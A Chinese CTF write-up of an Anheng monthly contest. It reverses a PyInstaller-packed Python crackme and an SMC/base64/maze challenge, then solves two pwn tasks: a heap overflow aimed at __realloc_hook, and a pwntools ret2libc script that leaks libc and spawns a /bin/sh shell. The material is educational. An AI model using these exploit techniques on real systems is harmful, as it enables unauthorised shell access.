内容简介:好久没打安恒的月赛了,碰巧今天有空,就做了下二进制的几道题目,总体难度不是很大,还好没有触及到我的知识盲区Orz。这题给了2个文件,一个
好久没打安恒的月赛了,碰巧今天有空,就做了下二进制的几道题目,总体难度不是很大,还好没有触及到我的知识盲区Orz。
reverse
来玩蛇吧
这题给了2个文件,一个 exe
和一个 pyc
,结合图标和题目意思,我好像明白了什么,估计是 python
的逆向题。
以前也做过这种类型的题,但是很久没做,有点生疏了,主要是要知道这个程序是 python
写的,并且用打包器制作成可执行文件的。直接上网搜索 python
打包器就能找到这个 工具 的名字叫做 PyInstaller
,根据 Pcat的博客描述 ,我们可以使用 PyInstaller Extractor
来提取可执行文件的资源内容。这个脚本网上也很容易能下载。
需要注意的是,当我们开始提取文件的时候,需要和编写的 python
的程序版本一致,由于我本机只有 python2
的环境,提取资源的时候,就会发生错误,如下图所示。
由于 PyInstaller Extractor
兼容 python2
和 3
,在 python3
环境下即可提取资源进行逆向分析。这样我们就能提取到一堆文件了,如下表所示。
_bz2.pyd* _hashlib.pyd* _lzma.pyd* _socket.pyd* _ssl.pyd* AnhengRe AnhengRe.exe.manifest api-ms-win-core-console-l1-1-0.dll* api-ms-win-core-datetime-l1-1-0.dll* api-ms-win-core-debug-l1-1-0.dll* api-ms-win-core-errorhandling-l1-1-0.dll* api-ms-win-core-file-l1-1-0.dll* api-ms-win-core-file-l1-2-0.dll* api-ms-win-core-file-l2-1-0.dll* api-ms-win-core-handle-l1-1-0.dll* api-ms-win-core-heap-l1-1-0.dll* api-ms-win-core-interlocked-l1-1-0.dll* api-ms-win-core-libraryloader-l1-1-0.dll* api-ms-win-core-localization-l1-2-0.dll* api-ms-win-core-memory-l1-1-0.dll* api-ms-win-core-namedpipe-l1-1-0.dll* api-ms-win-core-processenvironment-l1-1-0.dll* api-ms-win-core-processthreads-l1-1-0.dll* api-ms-win-core-processthreads-l1-1-1.dll* api-ms-win-core-profile-l1-1-0.dll* api-ms-win-core-rtlsupport-l1-1-0.dll* api-ms-win-core-string-l1-1-0.dll* api-ms-win-core-synch-l1-1-0.dll* api-ms-win-core-synch-l1-2-0.dll* api-ms-win-core-sysinfo-l1-1-0.dll* api-ms-win-core-timezone-l1-1-0.dll* api-ms-win-core-util-l1-1-0.dll* api-ms-win-crt-conio-l1-1-0.dll* api-ms-win-crt-convert-l1-1-0.dll* api-ms-win-crt-environment-l1-1-0.dll* api-ms-win-crt-filesystem-l1-1-0.dll* api-ms-win-crt-heap-l1-1-0.dll* api-ms-win-crt-locale-l1-1-0.dll* api-ms-win-crt-math-l1-1-0.dll* api-ms-win-crt-process-l1-1-0.dll* api-ms-win-crt-runtime-l1-1-0.dll* api-ms-win-crt-stdio-l1-1-0.dll* api-ms-win-crt-string-l1-1-0.dll* api-ms-win-crt-time-l1-1-0.dll* api-ms-win-crt-utility-l1-1-0.dll* base_library.zip out00-PYZ.pyz out00-PYZ.pyz_extracted/ pyexpat.pyd* pyiboot01_bootstrap pyimod01_os_path pyimod02_archive pyimod03_importers 'pyi-windows-manifest-filename AnhengRe.exe.manifest' python36.dll* select.pyd* struct ucrtbase.dll* unicodedata.pyd* VCRUNTIME140.dll*
那么接下来我们需要知道哪些是外部的库函数,哪些是程序本身的部分。那么很明显, dll
都是 windows
下的动态链接库,而 pyd
也是 python
的动态链接库( python dll
),除去这些文件和一些清单文件外,再结合文件名,很容易就能找到 AnhengRe
这个文件,应该就是我们所需要的。
接下来这一步就是分析这个文件是什么格式。一般的思路就是通过 file
命令或者 binwalk
进行解析,再或者通过 strings
来查看字符串。如下所示。
$ file AnhengRe AnhengRe: data $ strings AnhengRe Tell me your name?z Tell me your pasw 9f1ff1e8b5b91110 c4e21c11a2412 wrong AnHeng Congratulations flag pause flag{ no,) input range print system AnhengRe.py <module>
从我自己角度来说,我立马判断这就是一个 pyc
程序了,因为这些字符串特征很明显,没有加密混淆,也出现了 AnhengRe.py
和 module
这样的字样。但是用 010editor
分析后发现文件头不满足 pyc
的格式,于是我猜想头部数据被修改了。经过多次实验和对比,最终发现头部的12字节被剔除了。然后进行补齐即可,忽略时间戳。
33 0D 0D 0A 00 00 00 00 00 00 00 00
最后我们即可通过 uncompyle6
等反编译工具来获得 python
的源码,得到源码如下:
#!/usr/bin/env python # encoding: utf-8 import os n1 = input('Tell me your name?') n2 = input('Tell me your pasw') n11 = chr(ord(n1[0]) + 12) s = '' st3 = '51e' st2 = '9f1ff1e8b5b91110' st1 = 'c4e21c11a2412' st0 = 'wrong' if n11 + 'AnHeng' == n2: for i in range(0, 4): s += st1[3 - i] print('Congratulations') ts = st2[0] + st3 + st2[1] + s print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}') os.system('pause') else: print('no,' + st0)
这段代码再简单也不为过了,直接将判断条件删除再运行即可获得flag。
old-drive
逆向第二题,本来看题目我以为是驱动题,但实际不是。主函数逻辑如下:
首先对输入长度进行检测,很容易判断是40,然后进行了一段 smc
,即 self-modify-code
,自修改代码,也是比较常见的样式,即常量异或。这段 smc
用于解密一段函数,这个函数在最后的比较中是有用到的。接下来将输入前5字节和 flag{
对比,没什么好说的,最后进入 sub4010b0
这个函数中。其中主函数中的 smc
解密脚本如下( idapython
):
addr = 0x401000 for i in xrange(0x401260-addr): PatchByte(addr+i, Byte(addr+i) ^ 0xbb)
第二个 check
逻辑如下:
v3 = byte_4021B8; do { v4 = (unsigned __int8)*v3++; if ( ((char)a2[v2] ^ 0x86) != v4 ) LABEL_12: exit(0); ++v2; }
也是一个比较常见的密文比较,对应的解密脚本如下:
addr = 0x4021b8 flag = "flag{" for i in xrange(6): flag += chr(Byte(addr+i) ^ 0x86)
然后进入第三个 check
逻辑中,如下图所示:
熟悉 base64
编码的同学一般能一眼看出来这段算法,就是一个正常的 base64
编码,编码表没任何变化,要想快速识别 base64
算法需要对该算法比较熟悉。首先是 3×8=4×6
,即3个8bit的字符转换成4个6bit的字符,然后查表,每一组分成4份,每一份分别是每一组的高6bit,次高6bit,次底6bit和最低的6bit。还不熟悉的同学可以自己编程,再逆向分析其实现。所以这段算法对应的解密脚本如下:
flag += b64decode("c19zbWNf")
然后进入最后一个 check
逻辑中,如下图所示。
首先定义了一段奇怪的字符串,然后载入输入的后半段,然后进入一个 switch
语句中,循环检测,最后判断是否是#,且循环中每一步的下标对应的字符只能是空格,否则就失败。所以这就是一个迷宫算法了,迷宫的入口点是在字符串偏移 8
的位置上,也就是 g
所处的位置,然后 2aqw
分别代表 上下左右
进行移动。
g + + + + ++ + + + #+ + + ++++ + + ++++ + + +
由于这个迷宫很小,所以我们很容易就能得到答案了,最后我们再将几个部分练起来即可得到整个的flag。
pwn
pwn第一个题主要堆上的问题,首先主函数有4个功能,分别是 create
、 edit
、 delete
和 exit
,如下图所示,常见的清单型pwn题。
关键的漏洞主要是由于在edit过程中,没有对分配的块大小进行检测,如果重新设置的大小比原来的大,会导致堆溢出的情况发生。由于程序中开启了所有的保护,比较常见的方式是通过 hook
来进行漏洞利用,那么我们首先要泄露出 libc
的基地址。
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
那么在这个程序中我们的确是能泄露出 libc
的基地址的,如下图所示。
由于 write
函数设置了固定长度的输入,而堆块上也会存在 libc
的地址,通过泄露该地址,我们就能拿到 libc
的地址,绕过保护,代码如下:
libc = ELF('libc.so.6') realloc_hook = libc.symbols['__realloc_hook'] libc.address = delete(3) - realloc_hook - 240
然后我们将堆块的地址指向 hook
函数的自动,进一步再将 hook
指向 system
的地址,最后调用 realloc
即可 getshell
。
这个题的漏洞主要是栈缓冲区溢出,如下图所示,读取字节过长导致栈溢出,所以能够劫持控制流。
那么这个题方法有很多,由于没有 canary
检测,无论是 stack pivot
来进行栈迁移执行 shellcode
还是传统的 ret2libc
都行,需要注意的是这里程序中有个随机值异或的过程,最简单的方式就是控制 strlen
的返回值来防止后续字节被修改。
我自己还是通过 ret2libc
来实现的,通过 puts
函数来打印出 got
表项的地址,然后计算出偏移量,返回到主函数再进行一次栈溢出,返回到 system
或 execve
即可 getshell
。
s.recv() payload = flat([cyclic(48),0, elf.plt['puts'], 0x8048480, elf.got['puts']]) s.send(payload) puts_addr = u32(s.recvuntil("xf7").ljust(4, 'x00')) log.success("puts_addr -> {:#x}".format(puts_addr)) s.recv() libc.address = puts_addr - libc.symbols['puts'] log.success("libc.address -> {:#x}".format(libc.address)) payload = flat([cyclic(48),0, libc.symbols['execve'], 0x8048480,next(libc.search("/bin/sh")),0,0]) s.send(payload) #s.recv() s.interactive()
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。